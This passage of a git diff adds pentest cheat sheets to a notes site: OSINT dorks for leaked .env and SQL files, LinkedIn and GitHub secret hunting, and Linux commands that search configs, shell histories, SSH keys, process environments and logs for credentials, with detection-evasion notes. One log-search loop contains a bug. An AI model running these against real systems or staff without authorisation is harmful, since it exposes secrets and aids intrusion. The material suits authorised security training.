filetype:sql +site:TARGET.com filetype:log +``` + +> [!info]+ Command Breakdown +> 1. **site:TARGET.com** — restricts ALL results to the specified domain and its subdomains +> 2. **filetype:** — filters by file extension — find documents, spreadsheets, SQL dumps, log files +> 3. `.env` files indexed by Google are an instant win — they almost always contain secrets +> 4. `.sql` files may contain database dumps with credentials and PII + +--- + +``` +# Find login panels and admin interfaces +site:TARGET.com intitle:"login" +site:TARGET.com intitle:"admin" +site:TARGET.com inurl:"/admin" +site:TARGET.com inurl:"/wp-admin" +site:TARGET.com inurl:"/phpmyadmin" +site:TARGET.com inurl:"/dashboard" +``` + +> [!info]+ Command Breakdown +> 1. **intitle:** — searches the HTML `<title>` tag of pages — login panels almost always say "Login" in their title +> 2. **inurl:** — searches the URL path — admin panels follow predictable URL patterns +> 3. *Combine `site:` with `intitle:` for targeted results with zero noise* + +--- + +``` +# Cloud storage discovery — go beyond the notes +intext:"TARGET" inurl:amazonaws.com +intext:"TARGET" inurl:blob.core.windows.net +intext:"TARGET" inurl:storage.googleapis.com +intext:"TARGET" inurl:s3.amazonaws.com +intext:"TARGET" inurl:digitaloceanspaces.com + +# Find cached/old versions of pages +cache:TARGET.com/admin + +# Find subdomains not in DNS — Google has indexed them +site:*.TARGET.com -site:www.TARGET.com +``` + +> [!info]+ Command Breakdown +> 1. **storage.googleapis.com** and **digitaloceanspaces.com** — additional cloud storage providers beyond AWS/Azure that are often forgotten +> 2. **cache:TARGET.com/page** — Google's cached version of a page — may show content from before a page was taken down or secured +> 3. **site:\*.TARGET.com -site:www.TARGET.com** — the `-` operator excludes a site; this surfaces all indexed subdomains except `www` — a fast way to discover what Google has crawled + +--- + +> [!tip]+ Google Dork Pro Tips +> 1. Use **"quotes"** around exact phrases — `"internal use only"` finds documents accidentally published +> 2. Combine multiple operators: `site:TARGET.com filetype:pdf intitle:"confidential"` +> 3. Use the **`-`** operator to subtract noise: `site:TARGET.com -site:blog.TARGET.com` +> 4. Google limits dork results — if you hit ~30 results, rephrase or use different operators for fresh results +> 5. **Never use Google Dorks logged into your Google account** during an engagement — your search history is tied to your identity + +--- + +## GrayHatWarfare — Cloud Bucket Enumeration + +> [!tip]+ Effective Search Strategy +> The notes say "search by company name" — here is a systematic approach: + +``` +Search terms to try (in order): +1. Full company name: "InlaneFreight" +2. Common abbreviation: "ILF" +3. Domain without TLD: "inlanefreight" +4. Product/brand names: [any product names found on the website] +5. Internal codenames: [any codenames found in job postings or GitHub] +``` + +> [!info]+ File Types to Prioritise + +| Priority | File Type | Why | +|---|---|---| +| **Critical** | `id_rsa`, `id_ecdsa`, `.pem`, `.ppk` | SSH/TLS private keys — direct access | +| **Critical** | `.env`, `*.env.production` | API keys, DB passwords, secrets | +| **High** | `config.json`, `settings.py`, `web.config` | Hardcoded credentials, internal IPs | +| **High** | `*.sql`, `*.db`, `*.sqlite` | Database dumps — credentials + data | +| **Medium** | `*.xlsx`, `*.csv` | May contain employee lists, IP lists, passwords | +| **Medium** | `*.pdf` | Internal documentation, network diagrams | +| **Low** | `*.log` | May contain tokens, paths, usernames in entries | + +--- + +> [!warning]+ GrayHatWarfare Limitations +> 1. Only indexes **publicly accessible** buckets — password-protected or private buckets won't appear +> 2. Its index is not real-time — newly exposed buckets may take days to appear +> 3. Files listed may have since been removed — always verify before reporting +> 4. **Do NOT download files without explicit written scope permission** — accessing unauthenticated cloud storage may still carry legal risk depending on jurisdiction + +--- + +## domain.glass — Quick Infrastructure Snapshot + +> [!tip]+ What to Actually Look At +> The notes mention it exists. Here is what to focus on when you open it: + +``` +URL: https://domain.glass/TARGET.com +``` + +> [!info]+ Sections That Matter + +| Section | What to Extract | +|---|---| +| **IP Information** | Hosting provider, ASN, IP range — tells you who hosts the infrastructure | +| **SSL Certificate** | Issuer (Cloudflare? Let's Encrypt? Internal CA?) and listed SANs (extra subdomains) | +| **Cloudflare Status** | "Safe" = Cloudflare is proxying — real IP is hidden; direct IP scanning will hit Cloudflare, not the origin | +| **DNS Records** | Cross-reference against your `dig` output — domain.glass sometimes catches records `dig any` misses | +| **Social Media Links** | Auto-detected official accounts — cross-reference with your LinkedIn/staff OSINT | + +> [!warning]+ Cloudflare Proxy Implication +> 1. If domain.glass shows Cloudflare as "Safe" — the A record IP is a **Cloudflare IP, not the origin server** +> 2. Active scanning against that IP hits Cloudflare's infrastructure — not the target +> 3. Find the real IP via: historical DNS records (SecurityTrails), SSL cert transparency, Shodan `ssl.cert.subject.cn:TARGET.com`, or email headers (MX trace) + +--- + +## LinkedIn — Staff and Tech Stack OSINT + +> [!tip]+ Search Syntax That Actually Works +> LinkedIn's search is intentionally limited for free accounts. Here is how to work around it: + +``` +# Use Google to search LinkedIn profiles — more powerful than LinkedIn's own search +site:linkedin.com/in "TARGET company name" "software engineer" +site:linkedin.com/in "TARGET company name" "security engineer" +site:linkedin.com/in "TARGET company name" "devops" +site:linkedin.com/in "TARGET company name" "sysadmin" +site:linkedin.com/in "TARGET company name" "AWS" OR "Azure" OR "GCP" +``` + +> [!info]+ Command Breakdown +> 1. **site:linkedin.com/in** — restricts Google results to LinkedIn profile pages only +> 2. Combine the company name with job titles to surface the most relevant staff +> 3. Add technology keywords (`"AWS"`, `"Kubernetes"`, `"Splunk"`) to find staff who list those skills +> 4. *Google's index of LinkedIn is deeper than LinkedIn's own search — especially useful without a Premium account* + +--- + +> [!tip]+ What to Record from Each Profile + +| Profile Section | What to Note | +|---|---| +| **Current Role + Company** | Confirms employment — verify you have the right person | +| **Tech Stack in "About"** | Programming languages, cloud platforms, tools in active use | +| **GitHub / Portfolio Links** | Jump to code search immediately — these are the highest-value leads | +| **Career History** | Technologies used at each role — older systems may still be in use | +| **Certifications** | AWS/Azure certified = likely manages cloud; OSCP/CEH = security awareness is higher | +| **Followed Companies** | May indicate vendors they use or are evaluating | +| **Activity / Posts** | Recent posts about specific tools = those tools are in active use RIGHT NOW | + +--- + +> [!tip]+ Priority Targets on LinkedIn +> 1. **IT/Infrastructure admins** — they configure the systems you're targeting +> 2. **DevOps / SRE engineers** — they wrote the pipelines that deploy to cloud +> 3. **Security engineers** — their skills tell you what defences exist (SIEM? EDR? WAF?) +> 4. **Former employees** — may have older, potentially still-valid credentials; less cautious about what they share post-employment +> 5. **Junior developers** — more likely to have public GitHub repos with company-adjacent code + +--- + +## GitHub — Code and Secret Hunting + +> [!tip]+ GitHub Search Syntax Goes Far Beyond the Notes +> Most recon stops at "browse the repo". GitHub has a powerful search API: + +``` +# Search for company name in ALL public code +org:TARGET-org-name # All repos under a specific GitHub org +user:firstname-lastname TARGET # Repos by a specific employee mentioning the company + +# Search for secrets by filename +filename:.env TARGET +filename:config.py password +filename:settings.py SECRET_KEY +filename:application.properties datasource + +# Search for secrets by content +"TARGET.com" password +"TARGET.com" api_key +"TARGET.com" BEGIN RSA PRIVATE KEY +"TARGET.com" token + +# Search for internal infrastructure hints +"TARGET.com" internal +"TARGET.com" 192.168. +"TARGET.com" 10.0. +"TARGET.com" staging +"TARGET.com" production +``` + +> [!info]+ Command Breakdown +> 1. **org:** — restricts search to all repositories under a GitHub organisation (the company may have an official org) +> 2. **filename:** — searches ONLY in files with that specific name — highly targeted for common secret files +> 3. **"BEGIN RSA PRIVATE KEY"** — literal string that starts every RSA private key — if this appears in a repo, it's a critical finding +> 4. Internal IP ranges (`192.168.`, `10.0.`) in public repos reveal internal network addressing + +--- + +```bash +# Check commit history for deleted secrets — CLI approach +git clone https://github.com/target-org/repo-name +cd repo-name + +# Search ALL commits for the word "password" +git log --all -p | grep -i "password" | head -50 + +# Search for a specific string across all branches and commits +git log --all --oneline | awk '{print $1}' | xargs -I{} git grep -l "SECRET_KEY" {} +``` + +> [!info]+ Command Breakdown +> 1. **git log --all -p** — shows every commit across all branches WITH the full diff (added/removed lines) +> 2. **grep -i "password"** — case-insensitive search through all commit diffs +> 3. Even if a secret was removed in a later commit, `git log -p` shows the line prefixed with `+` (added) and `-` (removed) — deleted secrets are still readable in the diff +> 4. *This is how most credential leaks persist — the file is "cleaned up" but the history is never purged* + +--- + +> [!tip]+ Automated Secret Scanning Tools (Beyond Manual Search) + +| Tool | Command | What It Does | +|---|---|---| +| [trufflehog](https://github.com/trufflesecurity/trufflehog) | `trufflehog github --org=TARGET-org` | Scans all org repos + full history for 700+ secret patterns | +| [gitleaks](https://github.com/gitleaks/gitleaks) | `gitleaks detect --source=./repo` | Scans local repo for secrets using regex rules | +| [gitrob](https://github.com/michenriksen/gitrob) | `gitrob TARGET-org` | Maps org members' repos and scans for sensitive files | + +> [!warning]+ GitHub OSINT Rules +> 1. Only search **public** repositories — accessing private repos without authorisation is illegal +> 2. **Do not clone or download** any repo that isn't clearly in scope — downloading may constitute unauthorised access in some jurisdictions +> 3. GitHub may rate-limit unauthenticated searches — authenticate with a **throwaway account** if needed, never your real account +> 4. Findings from GitHub (leaked keys, hardcoded passwords) must be **reported immediately** in real engagements — they are often actively exploitable + +--- + +## References + +1. [HTB Academy - Footprinting Module](https://academy.hackthebox.com/module/details/112) +2. [crt.sh - Certificate Transparency](https://crt.sh/) +3. [Shodan CLI Documentation](https://cli.shodan.io/) +4. [Shodan Search Filters Reference](https://www.shodan.io/search/filters) +5. [dig Man Page](https://linux.die.net/man/1/dig) +6. [jq Manual](https://stedolan.github.io/jq/manual/) +7. [Google Advanced Search Operators](https://support.google.com/websearch/answer/2466433) +8. [GrayHatWarfare](https://buckets.grayhatwarfare.com/) +9. [domain.glass](https://domain.glass/) +10. [TruffleHog - Secret Scanner](https://github.com/trufflesecurity/trufflehog) +11. [Gitleaks](https://github.com/gitleaks/gitleaks) +12. [HackTricks - DNS Enumeration](https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns) +13. [HackTricks - External Recon Methodology](https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology) +14. [MITRE ATT&CK - Search Open Technical Databases (T1596)](https://attack.mitre.org/techniques/T1596/) +15. [MITRE ATT&CK - Search Open Websites/Domains (T1593)](https://attack.mitre.org/techniques/T1593/) + +--- + +#HTB #Footprinting #OSINT #Cheatsheet #DNS #Shodan #GoogleDorking #CertificateTransparency #GrayHatWarfare #GitHub #LinkedIn #SubdomainEnumeration #CloudStorage #PassiveRecon diff --git a/src/content/sheets/enumeration/credential-hunting.md b/src/content/sheets/enumeration/credential-hunting.md @@ -0,0 +1,801 @@ +--- +title: "Credential Hunting" +description: "grep -r password /path 2>/dev/null" +category: enumeration +tags: ["enumeration"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/Credential Hunting.md" +--- +# Basic recursive search (case-insensitive, whole word, suppress errors) +grep -r password /path 2>/dev/null + +# Best practice: case-insensitive, line numbers, skip binaries, with color +grep -rnIi --color=auto 'password' /etc 2>/dev/null + +# Multiple patterns (OR logic) +grep -rnIi -E 'password|api_key|secret|token' /var/www 2>/dev/null +``` + +### Options and Flags + +1. **-r** — Recursive search through directories +2. **-i** — Case-insensitive matching +3. **-n** — Show line numbers in output +4. **-I** — Skip binary files (prevents "Binary file matches" messages) +5. **-w** — Match whole word only (prevents false positives like "password_protected") +6. **-l** — List filenames only (no content; faster for large result sets) +7. **-H** — Always print filename with matches (default for multiple files) +8. **-o** — Print only matching part of line (useful for extracting values) +9. **-E** — Extended regex (enables `|` for OR, `+`, `?`) +10. **--color=auto** — Highlight matches (always use this) +11. **--include='*.ext'** — Search only specific file types +12. **--exclude-dir='dir'** — Skip directories (e.g., node_modules, .git) +13. **2>/dev/null** — Suppress permission denied errors + +### Practical Examples + +```bash +# Search all config files for password strings +grep -rnIi --include='*.conf' --include='*.config' --include='*.cnf' 'password' /etc 2>/dev/null + +# Find database credentials in web apps +grep -rnIi -E 'DB_PASS|DATABASE_PASSWORD|dbpass' /var/www 2>/dev/null + +# Extract values after "password=" pattern +grep -roIi 'password=' /opt | cut -d= -f2 + +# Search with multiple keywords across targeted directories +grep -rnIi -E 'pass=|pwd=|api_key=|secret=' /etc /opt /var/www /home 2>/dev/null | tee creds.txt + +# Find SSH private keys +grep -rnI 'BEGIN.*PRIVATE KEY' /home /root 2>/dev/null + +# Exclude irrelevant directories to reduce noise +grep -rnIi --exclude-dir={proc,sys,dev,run,boot} 'password' / 2>/dev/null +``` + +### Output Interpretation + +**Format:** `filename:line_number:matching_line` + +**Look for:** +1. Plaintext credentials +2. Connection strings +3. API keys +4. Environment variable assignments + +**False positives:** Documentation, comments, variable names without values + +### OPSEC and Detection Notes + +1. **HIGH NOISE**: Recursive grep from `/` generates massive I/O and CPU load; detectable by performance monitoring +2. **LOGGED**: [auditd](https://linux-audit.com/) file watches on `/etc/shadow`, `/etc/passwd`, `~/.ssh/*` will log read attempts to `/var/log/audit/audit.log` +3. **EDR DETECTION**: Rapid sequential file reads across multiple sensitive directories trigger anomaly alerts +4. **MITIGATION**: Use targeted directory searches (`/var/www`, `/opt`, `/home/user`) instead of whole filesystem; use `--exclude-dir` liberally +5. Permission denied errors flood terminal without `2>/dev/null`; also hides potential targets + +### Common Errors + +1. `Binary file (standard input) matches` — File contains null bytes or UTF-16 encoding; use `-I` to skip or `-a` to force text treatment +2. Hangs with no output — grep waiting for stdin when no file argument given; use Ctrl+D to exit +3. `grep: memory exhausted` — Pattern too complex or file too large; narrow search scope or use simpler regex +4. No matches found — Check case sensitivity (`-i`), file permissions, [SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux) denials (`ls -Z`, `sestatus`) +5. Shell glob expansion — Quote patterns with wildcards: `'pass*'` not `pass*` + +### Version and Platform Notes + +1. [GNU grep](https://www.gnu.org/software/grep/) (Linux default): supports lazy matching, `-P` for Perl regex +2. [BSD grep](https://www.freebsd.org/cgi/man.cgi?query=grep) (macOS default): limited regex features, no lazy matching +3. GNU grep 3.0+ includes performance optimizations for large files + +--- + +## Phase 1: Fast Filename Enumeration + +**Purpose:** Quickly locate files with password-related names before content searching + +**Prerequisites:** Standard user access; [locate](https://man7.org/linux/man-pages/man1/locate.1.html) database (`updatedb`) ideally current + +### Core Commands + +```bash +# Fastest: locate database search (requires updated database) +locate -i password +locate -i 'pass' +locate -r '\.conf$' + +# Filename-only find (case-insensitive) +find / -iname '*password*' 2>/dev/null +find / -iname '*pass*' -o -iname '*pwd*' -o -iname '*credential*' 2>/dev/null +``` + +### Options and Flags + +1. **locate -i** — Case-insensitive filename search +2. **locate -r** — Regex pattern matching +3. **find -iname** — Case-insensitive name pattern +4. **-o** — OR operator for multiple find conditions +5. **updatedb** — Refresh locate database (requires root; runs daily via cron) + +### Practical Examples + +```bash +# Search for password-related filenames (super fast) +locate -i password | grep -v 'lib\|share\|fonts\|doc' +locate -i pwd | grep -v 'lib\|share\|fonts\|doc' + +# Find config files by name +locate '.conf' | grep -i 'password\|mysql\|db\|api' + +# Find with name patterns +find /var/www /opt /home -type f \( -iname '*pass*' -o -iname '*secret*' -o -iname '*.pem' \) 2>/dev/null + +# Find files modified in last 7 days +find /var/www /tmp -type f -mtime -7 -iname '*config*' 2>/dev/null +``` + +### Output Interpretation + +1. Full file paths; manually inspect high-value targets (`.conf`, `.cnf`, `.sh`, `.env`, `.bak`) +2. **Prioritize:** `/etc`, `/var/www`, `/opt`, `/home`, `/root/.ssh`, `/tmp` + +### OPSEC and Detection Notes + +1. **LOW NOISE**: locate reads pre-built database (no filesystem traversal; very fast) +2. **MODERATE NOISE**: `find /` traverses filesystem; detectable via I/O monitoring +3. Target specific directories to minimize footprint: `find /var/www /opt /home` not `find /` + +### Common Errors + +1. `locate: can not stat` — Database stale; run `updatedb` (requires root) or use find +2. `find: permission denied` — Normal for non-root user; redirect stderr with `2>/dev/null` + +### Version and Platform Notes + +1. locate database location varies: `/var/lib/mlocate/mlocate.db` (Debian/Ubuntu), `/var/db/locate.database` (BSD) +2. updatedb runs daily via `/etc/cron.daily/mlocate` on modern Linux + +--- + +## Phase 2: Targeted File Type Enumeration + +**Purpose:** Enumerate high-value file types (configs, DBs, scripts, backups) before content search + +**Prerequisites:** Standard user access; bash shell + +### Core Commands + +```bash +# Find all config files +find /etc /opt /var/www -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' \) 2>/dev/null + +# Find database files +find / -type f \( -name '*.sql' -o -name '*.db' -o -name '*.sqlite*' \) 2>/dev/null + +# Find scripts and environment files +find /var/www /opt /home -type f \( -name '*.sh' -o -name '*.env' -o -name '.env' \) 2>/dev/null +``` + +### Options and Flags + +1. **find -type f** — Regular files only (excludes directories, links) +2. **-name 'pattern'** — Case-sensitive name matching +3. **-iname 'pattern'** — Case-insensitive name matching +4. **-o** — OR operator for multiple name conditions +5. **\( \)** — Group multiple conditions + +### Practical Examples + +```bash +# Configuration file loop (clean output) +for ext in conf config cnf; do + echo -e "\n=== Files with .$ext extension ==="; + find /etc /opt /var/www -name "*.$ext" 2>/dev/null | grep -v 'lib\|fonts\|share\|doc'; +done + +# Database file loop with filtering +for ext in sql db sqlite sqlite3; do + echo -e "\n=== Files with .$ext extension ==="; + find / -name "*.$ext" 2>/dev/null | grep -v 'lib\|share\|man\|doc'; +done + +# Backup and archive files (high-value targets) +find / -type f \( -name '*.bak' -o -name '*.backup' -o -name '*.old' -o -name '*~' \) 2>/dev/null | head -50 + +# SSH keys and certificates +find / -type f \( -name 'id_rsa' -o -name 'id_dsa' -o -name 'id_ed25519' -o -name '*.pem' -o -name '*.key' \) 2>/dev/null + +# World-readable files (permission misconfiguration) +find / -type f -perm -004 -ls 2>/dev/null | grep -v 'proc\|sys\|usr/share' + +# SUID/SGID binaries (potential privilege escalation) +find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null +``` + +### Output Interpretation + +1. Paths to files; next step is content search with grep +2. Prioritize small files (`-size -100k`) for faster manual inspection +3. Large `.sql` or `.db` files may require [strings](https://man7.org/linux/man-pages/man1/strings.1.html) or specialized tools + +### OPSEC and Detection Notes + +1. **MODERATE NOISE**: Filesystem traversal generates I/O; EDR may flag rapid enumeration +2. Target specific directories first (`/var/www`, `/opt`, `/etc`, `/home`) before whole filesystem +3. Exclude noisy system paths with `grep -v` to reduce output volume + +### Common Errors + +1. `find: missing argument to '-name'` — Quote patterns: `-name '*.conf'` not `-name *.conf` +2. Too many results — Add size filters (`-size -10M`), time filters (`-mtime -30`), or path restrictions + +--- + +## Phase 3: Content Search in Targeted Files + +**Purpose:** Search file contents for credential patterns after identifying target files + +**Prerequisites:** List of target files (from Phase 2); standard user or root access + +### Core Commands + +```bash +# Pipe find results to grep with xargs (handles spaces) +find /etc /opt /var/www -type f -name '*.conf' -print0 | xargs -0 grep -nIi 'password' 2>/dev/null + +# Execute grep on each find result +find /var/www -type f \( -name '*.conf' -o -name '*.php' -o -name '*.env' \) -exec grep -HnIi 'password\|api_key' {} \; 2>/dev/null +``` + +### Options and Flags + +1. **find -print0** — Null-separated output (handles filenames with spaces) +2. **xargs -0** — Read null-separated input +3. **find -exec grep {} \;** — Execute grep on each file individually +4. **grep -H** — Always show filename (critical for multi-file searches) + +### Practical Examples + +```bash +# Search config files for database credentials +find /etc /opt -name '*.conf' -exec grep -HnIi -E 'password|user|host|dbname' {} \; 2>/dev/null + +# Search web app files for API keys +find /var/www -type f \( -name '*.php' -o -name '*.py' -o -name '*.js' -o -name '.env' \) -print0 | \ + xargs -0 grep -nIi -E 'api[_-]?key|secret|token|auth' 2>/dev/null + +# Search scripts for embedded credentials +find /home /opt -name '*.sh' -exec grep -HnIi -E 'export.*PASS|PASSWORD=' {} \; 2>/dev/null + +# Combined file type + content search one-liner +find /etc /opt /var/www -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' \) \ + -exec grep -Hn 'password\|pass=' {} \; 2>/dev/null | tee config-creds.txt + +# Search only recently modified files (last 30 days) +find /var/www -type f -mtime -30 -name '*.conf' -print0 | \ + xargs -0 grep -nIi 'password' 2>/dev/null +``` + +### Output Interpretation + +**Format:** `filename:line_number:matching_line` + +1. Extract values: pipe to `cut`, `awk`, or `sed` for parsing +2. Context: use `grep -A 2 -B 2` to see surrounding lines + +### OPSEC and Detection Notes + +1. **HIGH NOISE**: Reading many files rapidly triggers I/O alerts and auditd logging +2. Target smallest file set possible; use Phase 2 filtering aggressively +3. Sensitive file access (e.g., `/etc/shadow`, `~/.ssh/id_rsa`) logged by auditd to `/var/log/audit/audit.log` + +### Common Errors + +1. `xargs: argument line too long` — Large result sets exceed buffer; use `find -exec` instead +2. Binary files slow search — Always use `-I` flag with grep to skip binaries +3. No output despite known credentials — Check file encoding (`file filename`), SELinux contexts + +--- + +## Phase 4: History and Environment Inspection + +**Purpose:** Check command history, environment variables, and process memory for credentials + +**Prerequisites:** Standard user or root shell access + +### Core Commands + +```bash +# Check command history files +cat ~/.bash_history ~/.zsh_history 2>/dev/null | grep -i 'pass\|user\|key\|secret' + +# Check current environment variables +env | grep -i 'pass\|key\|secret\|token\|api' + +# Check process command lines +ps auxww | grep -E 'mysql|psql|ssh|ftp' | grep -v grep +``` + +### Practical Examples + +```bash +# History files across all users (requires root) +find /home /root -type f \( -name '.bash_history' -o -name '.zsh_history' -o -name '.mysql_history' \) \ + -exec grep -HnIi -E 'password|pass=|--password' {} \; 2>/dev/null + +# Additional history files +cat ~/.lesshst ~/.viminfo ~/.python_history 2>/dev/null | grep -i 'pass' + +# Environment variables from specific process +cat /proc/[PID]/environ | tr '\0' '\n' | grep -i 'pass\|key' + +# All process environments (requires root) +for pid in $(ls /proc | grep '^[0-9]'); do + echo "=== PID $pid ==="; + cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret'; +done + +# Database connection strings in process memory (requires root) +ps aux | grep -E 'mysql|postgres' | awk '{print $2}' | \ + xargs -I {} sh -c 'strings /proc/{}/environ 2>/dev/null | grep -i password' + +# Check systemd service files for credentials +grep -rnIi 'Environment=' /etc/systemd/system /usr/lib/systemd/system 2>/dev/null | \ + grep -iE 'pass|key|secret' +``` + +### Output Interpretation + +1. History files may contain credentials passed as CLI arguments +2. Environment variables often store DB passwords, API keys, tokens +3. Process command lines expose credentials in `--password=value` style arguments +4. `/proc/[pid]/environ` contains environment at process launch time + +### OPSEC and Detection Notes + +1. **LOW NOISE**: Reading history files and env variables minimal impact +2. **MODERATE NOISE**: Iterating over all `/proc/[pid]/environ` may trigger EDR alerts +3. auditd may log access to specific users' history files if watched + +### Common Errors + +1. `/proc/[pid]/environ` access denied — Processes owned by other users unreadable without root +2. Empty output from `cat /proc/[pid]/environ` — Process exited or no environment variables +3. History file not found — User using different shell or history disabled (`HISTFILE=`) + +### Version and Platform Notes + +1. `/proc` filesystem standard on Linux; not available on BSD/macOS (use `ps e` instead) + +--- + +## Phase 5: Log File Analysis + +**Purpose:** Search system and application logs for credentials, authentication events, and errors exposing secrets + +**Prerequisites:** Read access to `/var/log` (many logs require root) + +### Core Commands + +```bash +# Search all log files for password strings +grep -rnIi 'password' /var/log 2>/dev/null + +# Search compressed logs with zgrep +zgrep -ai 'password\|credential\|secret' /var/log/*.gz 2>/dev/null + +# Loop through logs for authentication events +for log in /var/log/*; do + grep -iE 'accepted|password|failure' "$log" 2>/dev/null && echo "=== $log ==="; +done +``` + +### Options and Flags + +1. **[zgrep](https://linux.die.net/man/1/zgrep)** — Search compressed files (`.gz`, `.bz2`) +2. **zgrep -a** — Treat all files as text (avoids binary detection) +3. Standard grep flags apply: `-i`, `-n`, `-E`, `-r` + +### Practical Examples + +```bash +# SSH authentication logs +grep -i 'accepted\|failed' /var/log/auth.log /var/log/secure 2>/dev/null | tail -50 + +# Application error logs (may expose DB connection strings) +grep -rnIi -E 'error.*password|exception.*credential' /var/log 2>/dev/null + +# Web server logs for API keys in URLs (bad practice but happens) +grep -rE 'api_key=|token=' /var/log/apache2 /var/log/nginx 2>/dev/null | head -20 + +# Database logs +grep -rnIi 'password' /var/log/mysql /var/log/postgresql 2>/dev/null + +# Search compressed logs (older rotated logs) +zgrep -aiE 'password=|api_key=|secret=' /var/log/*.gz /var/log/*/*.gz 2>/dev/null | less + +# Conditional log search (only print logs with matches) +for logfile in $(ls /var/log/* 2>/dev/null); do + RESULT=$(grep -iE 'password|accepted|failure' "$logfile" 2>/dev/null); + if $RESULT ; then + echo -e "\n=== $logfile ==="; + echo "$RESULT" | head -10; + fi; +done +``` + +### Output Interpretation + +1. **auth.log/secure:** successful/failed login attempts with usernames +2. **Application logs:** stack traces may expose credentials in connection strings +3. **Web logs:** API keys or tokens in GET parameters (insecure but common) +4. **Look for:** timestamps, usernames, source IPs, credential exposure patterns + +### OPSEC and Detection Notes + +1. **HIGH ALERT**: Access to `/var/log/auth.log`, `/var/log/secure`, `/var/log/audit/` triggers high-priority alerts +2. auditd logs its own file watches to `/var/log/audit/audit.log` — reading this creates recursive log entry +3. Legitimate sysadmins read logs frequently; timing and context matter for detection + +### Common Errors + +1. `grep: /var/log/[file]: Permission denied` — Many logs require root; run as root or use `sudo` +2. `zgrep: command not found` — Install gzip utils: `apt install gzip` or `yum install gzip` +3. Binary log formats — [systemd journal](https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html) uses binary format; use `journalctl` instead of grep + +### Version and Platform Notes + +1. Log paths vary: `/var/log/auth.log` (Debian/Ubuntu), `/var/log/secure` (RHEL/CentOS) +2. systemd systems: use `journalctl -xe | grep -i password` for systemd journal + +--- + +## find File Discovery and Filtering + +**Purpose:** Locate files by name, type, size, permissions, modification time before content search + +**Prerequisites:** Standard user access; [GNU findutils](https://www.gnu.org/software/findutils/) + +### Core Commands + +```bash +# Basic recursive file search +find /path -type f -name 'pattern' 2>/dev/null + +# Search with multiple name patterns (OR logic) +find / -type f \( -name '*.conf' -o -name '*.config' \) 2>/dev/null + +# Permission-based search +find / -type f -perm -004 2>/dev/null +``` + +### Options and Flags + +1. **-type f** — Regular files only +2. **-type d** — Directories only +3. **-name 'pattern'** — Case-sensitive name match (shell wildcards: `*`, `?`) +4. **-iname 'pattern'** — Case-insensitive name match +5. **-perm -mode** — Files with at least these permissions set +6. **-perm /mode** — Files with any of these permissions set +7. **-user username** — Files owned by user +8. **-group groupname** — Files owned by group +9. **-size +100M** — Files larger than 100MB (`+` greater, `-` smaller, no prefix exact) +10. **-mtime -7** — Modified in last 7 days (`-` within, `+` older than) +11. **-atime** — Last access time +12. **-ctime** — Last status change time +13. **\( \)** — Group multiple expressions +14. **-o** — OR operator +15. **! or -not** — Negation + +### Practical Examples + +```bash +# World-writable files (security risk) +find / -type f -perm -002 2>/dev/null + +# SUID binaries (privilege escalation vectors) +find / -type f -perm -4000 -ls 2>/dev/null + +# Files owned by www-data user +find /var/www -user www-data -type f 2>/dev/null + +# Large files (potential DB dumps) +find / -type f -size +50M -size -500M 2>/dev/null + +# Recently modified config files (may contain fresh creds) +find /etc -type f -name '*.conf' -mtime -7 2>/dev/null + +# SSH keys across all user home directories +find /home /root -type f \( -name 'id_rsa' -o -name 'id_dsa' -o -name 'id_ed25519' \) 2>/dev/null + +# Writable directories (potential persistence locations) +find / -type d -perm -002 ! -path '/proc/*' ! -path '/sys/*' 2>/dev/null + +# Files with no user ownership (orphaned files) +find / -nouser -ls 2>/dev/null +``` + +### Output Interpretation + +1. Default: full path to matching files +2. Use `-ls` for detailed output (permissions, size, owner, timestamp) +3. Pipe results to grep, xargs, or `-exec` for further processing + +### OPSEC and Detection Notes + +1. **MODERATE-HIGH NOISE**: Full filesystem traversal from `/` generates significant I/O +2. Target specific directories to reduce footprint +3. SUID/permission enumeration is standard attacker behavior; may trigger alerts + +### Common Errors + +1. `find: missing argument to '-name'` — Quote wildcards: `-name '*.conf'` +2. `find: invalid argument '-perm 777'` — Use octal: `-perm 0777` or symbolic: `-perm -u=rwx,g=rwx,o=rwx` +3. Parentheses syntax error — Escape with backslash: `\(` `\)` or quote: `'(' ')'` +4. Slow search — Exclude large directories: `! -path '/proc/*' ! -path '/sys/*'` + +### Version and Platform Notes + +1. GNU find (Linux): supports `-printf`, `-regex`, extended options +2. BSD find (macOS): limited features; use `-print0` and `xargs -0` for portability + +--- + +## strings Binary File Extraction + +**Purpose:** Extract printable ASCII strings from binary files (executables, compiled code, memory dumps) + +**Prerequisites:** [GNU binutils](https://www.gnu.org/software/binutils/) installed (standard on Linux) + +### Core Commands + +```bash +# Extract printable strings from binary +strings /path/to/binary + +# Set minimum string length (default 4) +strings -n 8 /path/to/binary + +# Search extracted strings for patterns +strings /path/to/binary | grep -i 'password\|api\|key' +``` + +### Options and Flags + +1. **-n [num]** — Minimum string length (default 4; increase to reduce noise) +2. **-a** — Scan entire file (default scans only initialized/loaded sections) +3. **-t [format]** — Print offset of each string (`o` octal, `x` hex, `d` decimal) +4. **-e [encoding]** — Character encoding (`s` 7-bit, `S` 8-bit, `b` 16-bit big-endian, `l` 16-bit little-endian) + +### Practical Examples + +```bash +# Extract all strings and search for credentials +strings /usr/local/bin/app | grep -iE 'password|user|api_key|secret' + +# Extract longer strings to reduce noise +strings -n 10 /bin/suspicious | less + +# Extract strings with hex offsets +strings -t x /path/to/binary | grep -i 'config' + +# Extract from memory dump or core dump +strings /proc/[PID]/mem 2>/dev/null | grep -i 'pass' + +# Extract from all binaries in directory +find /usr/local/bin -type f -executable -exec sh -c 'echo "=== {} ==="; strings {} | grep -i password' \; 2>/dev/null + +# Extract from libraries +strings /usr/lib/*.so | grep -iE 'password|api_key' | sort -u +``` + +### Output Interpretation + +1. Raw printable strings; includes code, data, error messages, hardcoded credentials +2. High noise-to-signal ratio; use grep filters and increase `-n` value +3. **Look for:** connection strings, API endpoints, embedded credentials, license keys + +### OPSEC and Detection Notes + +1. **LOW NOISE**: strings reads files like cat; minimal detection footprint +2. Extracting strings from `/proc/[pid]/mem` requires same user or root; may log access + +### Common Errors + +1. `strings: [file]: file format not recognized` — File truly 